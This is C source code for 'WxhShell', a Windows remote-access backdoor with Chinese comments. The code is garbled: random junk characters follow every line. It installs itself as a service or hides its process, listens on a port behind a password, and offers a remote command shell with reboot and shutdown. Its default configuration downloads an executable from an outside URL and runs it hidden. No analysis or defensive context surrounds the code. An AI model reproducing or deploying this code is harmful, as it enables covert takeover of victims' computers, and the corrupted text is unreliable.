DWORD AffinityMask; C#i UP|7hh
DWORD BasePriority; ~=&t 0D
ULONG UniqueProcessId; T;\^#1
ULONG InheritedFromUniqueProcessId; _P,^_%}V06
} PROCESS_BASIC_INFORMATION; NQ|xM"MqD
B|%tE{F
PROCNTQSIP NtQueryInformationProcess; Nt:8ogk/
g,]@4|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J^m<*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9
L?;FY)_
Y-~~,Yl~
HANDLE hProcess; m-V02's
PROCESS_BASIC_INFORMATION pbi; @!Hr|k|
y69J%/c
ra
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rS*$rQCr=
if(NULL == hInst ) return 0; YCy2 2@C
!EF(*~r!9L
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (LJ@SeM;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,Vd7V}t
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BF8"rq}r0
uXQ >WI@eF
if (!NtQueryInformationProcess) return 0; !q4x~G0d
59rY[&|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >_X/[<
if(!hProcess) return 0; .~=HgOJ
jN/C'\QL
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?M6ag_h3
2L\3S ukj
CloseHandle(hProcess); }Ia 0"J4
q]<xMg#nu
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o*ANi;1]&B
if(hProcess==NULL) return 0; ?\H.S9CZ^
])y{BlZ
HMODULE hMod; noA-)
char procName[255]; <%bw/
unsigned long cbNeeded; *+lsZ8'^C
H3 m8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @?&Wm3x9
'I/h(
CloseHandle(hProcess); oEzDMImJ5
#Ws53mT
if(strstr(procName,"services")) return 1; // 以服务启动 C|z%P}u#p
w;yx<1f
return 0; // 注册表启动 H`<?<ak6'M
} ValS8V*N1
]TK=>;&
// 主模块 %my
int StartWxhshell(LPSTR lpCmdLine) ]b[,LwB\`~
{ RR>G]#k
SOCKET wsl; aIGn9:\
BOOL val=TRUE; gOE_
]
int port=0; boQ)fV"
struct sockaddr_in door; o+)A'S
F+j O*F2h
if(wscfg.ws_autoins) Install(); zW'/2W.
V;*pL1
port=atoi(lpCmdLine); hhq$g{+[
%yw=[]Vjze
if(port<=0) port=wscfg.ws_port; d 7i#w
#
aG3k4
WSADATA data; 1=TSJ2{9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \JU ~k5j
GAJ~$AiwHH
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ec?1c&E
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #1l7FT?q
door.sin_family = AF_INET; <kc]L x
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /Nqrvy=
door.sin_port = htons(port); YeIe\3x!N
4]"w b5%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]IXAucI]
closesocket(wsl); T{ nQjYb?
return 1; Z}f^qc+
} ;qVG
\wQq
Gmgeve
if(listen(wsl,2) == INVALID_SOCKET) { 1E^{B8cm
closesocket(wsl); D5[VK`4Z
return 1; |M _%QM.
} ho|8U
Wxhshell(wsl); 1HXlHic
WSACleanup(); gL,"ef+nM
KQW!\y?$"
return 0; ?7rD42\8H
6 <r2*`
} _3KZME
zK /f$}
// 以NT服务方式启动 6#?NL]A
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -}AE\qXs/
{ 8 +L7E-
DWORD status = 0; E.4n}s
DWORD specificError = 0xfffffff; rN'.&;Y5
${CYDD"mdy
serviceStatus.dwServiceType = SERVICE_WIN32; |#:=\gugh
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Vy&f"4~
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E.U0qK],
serviceStatus.dwWin32ExitCode = 0; ?bn;{c;E
serviceStatus.dwServiceSpecificExitCode = 0; u[:
P
serviceStatus.dwCheckPoint = 0;
B[Ix?V4yy
serviceStatus.dwWaitHint = 0; lbG}noqb
]zy~@,\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #Ul4&QVeg
if (hServiceStatusHandle==0) return; T:dX4=z
&l?N:(r
status = GetLastError(); S]5VEn;pV
if (status!=NO_ERROR) $]Rl__;
{ h<Jc;ht
serviceStatus.dwCurrentState = SERVICE_STOPPED; QId"Cl)3
serviceStatus.dwCheckPoint = 0; .wM:YX'[G
serviceStatus.dwWaitHint = 0; %f>X-*}NI-
serviceStatus.dwWin32ExitCode = status; tru;;.lj8K
serviceStatus.dwServiceSpecificExitCode = specificError; u~
VswXc4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;K>{_kf
return; 2Ti" s -
} ;`;G/1]#9
$hyqYp"/;
serviceStatus.dwCurrentState = SERVICE_RUNNING; l@~1CMyN
serviceStatus.dwCheckPoint = 0; 8x!+tw7
serviceStatus.dwWaitHint = 0; %_]=i@Y~
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NW}>pb9
} d3\OHkM0^
7W6eiUI'
// 处理NT服务事件,比如:启动、停止 TEH*@~P"
VOID WINAPI NTServiceHandler(DWORD fdwControl) v; je <DT
{ 3D]2$a_d
switch(fdwControl) %kFTnXHK
{ j` [#Ij
case SERVICE_CONTROL_STOP: R-=_z6<
serviceStatus.dwWin32ExitCode = 0; ;"d?_{>7
serviceStatus.dwCurrentState = SERVICE_STOPPED; CpUI|Rs
serviceStatus.dwCheckPoint = 0; 4.,KEt'H
serviceStatus.dwWaitHint = 0; </K%i;l
{ bd@*vu}?}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ckH$E%j
} 5KL9$J9k
return; %RCl+hOP.h
case SERVICE_CONTROL_PAUSE: }:,o Y<
serviceStatus.dwCurrentState = SERVICE_PAUSED; i6meY$l
break; S3j]{pZ(z
case SERVICE_CONTROL_CONTINUE: &:!ZT=
serviceStatus.dwCurrentState = SERVICE_RUNNING; XgwMppacw
break; $|`t9-EA/
case SERVICE_CONTROL_INTERROGATE: : ;E7+m
break; 1qB!RIau
}; lpM>}0v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); oTplxF1
} t
1Ir4
3{2^G@j
// 标准应用程序主函数 CjC'"+[w
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .IW_DM-
{ RTg Q#<W8
:Y}Y&mA4
// 获取操作系统版本 t%]^5<+X58
OsIsNt=GetOsVer(); (<d&BV- "
GetModuleFileName(NULL,ExeFile,MAX_PATH); @);!x41f
J1gEjd
// 从命令行安装 cuV8#:
i
if(strpbrk(lpCmdLine,"iI")) Install(); SIaUrC
LK
// 下载执行文件 c {f:5 p
if(wscfg.ws_downexe) { t+W=2w&
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tdw\Di#m
WinExec(wscfg.ws_filenam,SW_HIDE); [5 Y$L
} 0gwm gc/#
|1<]o;:
if(!OsIsNt) {
?[hy|r6$
// 如果时win9x,隐藏进程并且设置为注册表启动 ZuFVtW@
HideProc();
BdE`p{
StartWxhshell(lpCmdLine); ]]h:#A2
} (.@p4q Q-
else 9QX~aX
if(StartFromService()) pjKl)q
// 以服务方式启动 `lu"y F
StartServiceCtrlDispatcher(DispatchTable); T~wZ
else P- `~]]
// 普通方式启动 3j=%De
StartWxhshell(lpCmdLine); p^4;fD
B:6sVJ
return 0; #iRyjD
} #2lvfR|
:cmI"Bo
R+kZLOE
['}^;Y?*o
=========================================== HM$`z"p5jg
%!HnGwv-
iw~V_y4
;}>g1&q
aaf_3UH.B
Z$#ZYD
" rjpafGCp
+2au
;^N
#include <stdio.h> JV?RgFy
#include <string.h> /|u]Y/ *
#include <windows.h> Y)4Nydq
#include <winsock2.h> rlO%%Qn`
#include <winsvc.h> ~&[P`
Z$
#include <urlmon.h> n6!Ihip$
5%Fn^u:
#pragma comment (lib, "Ws2_32.lib") CI,`R&=xO
#pragma comment (lib, "urlmon.lib") /c$Ht
ap'kxOf"1
#define MAX_USER 100 // 最大客户端连接数 R
!%m5Q?5
#define BUF_SOCK 200 // sock buffer U:P3Z3Y%
#define KEY_BUFF 255 // 输入 buffer M9 2~iM
kO3k|6f=
#define REBOOT 0 // 重启 pv m'pu78
#define SHUTDOWN 1 // 关机 6U>jU[/
:UhFou_D4l
#define DEF_PORT 5000 // 监听端口 @X6#$ex
J2rLsNC]0
#define REG_LEN 16 // 注册表键长度 xu?QK6D:
#define SVC_LEN 80 // NT服务名长度 b
gc<)=
55\X\>
0C7
// 从dll定义API DN8pJa
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9;v"bcQ
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?n9$,-^v
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9hs{uxwuEE
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); etK,zEd
NX""?"q
// wxhshell配置信息 dYqDL<se/I
struct WSCFG { Tvx8l
m'
int ws_port; // 监听端口 33KPo0g7
char ws_passstr[REG_LEN]; // 口令 w%o4MFK=!
int ws_autoins; // 安装标记, 1=yes 0=no 2#:]%y;\
char ws_regname[REG_LEN]; // 注册表键名 7}1Kafs
char ws_svcname[REG_LEN]; // 服务名 <K[Zl/7I
char ws_svcdisp[SVC_LEN]; // 服务显示名 mV(x&`Cx
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ihBl",l&Hq
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N
evvA(M
int ws_downexe; // 下载执行标记, 1=yes 0=no F.
oP!r
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0^lL,rC
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y yR8VO{
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}; 4b(irDT3F
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// default Wxhshell configuration UlN|Oy,
struct WSCFG wscfg={DEF_PORT, v|RaB
"xuhuanlingzhe", =i5:*J
1, 75}u
D
"Wxhshell", Q
fyERa\rb
"Wxhshell", GK+\-U)v
"WxhShell Service", QRHm|f9_C
"Wrsky Windows CmdShell Service", 0o=)&%G
"Please Input Your Password: ", y{?jr$js<
1, UO!6&k>c
"http://www.wrsky.com/wxhshell.exe", q
vVZA*
"Wxhshell.exe" U1|4vd9
}; K ':pU1
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// 消息定义模块 l(#Y8
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RH4n0=2
char *msg_ws_prompt="\n\r? for help\n\r#>"; >(ww6vk2
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !cq|g
char *msg_ws_ext="\n\rExit."; #Ii.tTk
char *msg_ws_end="\n\rQuit."; 6Vzc:8o>
char *msg_ws_boot="\n\rReboot..."; _w/N[E
char *msg_ws_poff="\n\rShutdown..."; 2b,TkG8K
char *msg_ws_down="\n\rSave to "; gO%i5
Xl+a@Ggtq
char *msg_ws_err="\n\rErr!"; Kcdd=2 [T
char *msg_ws_ok="\n\rOK!"; a4.:
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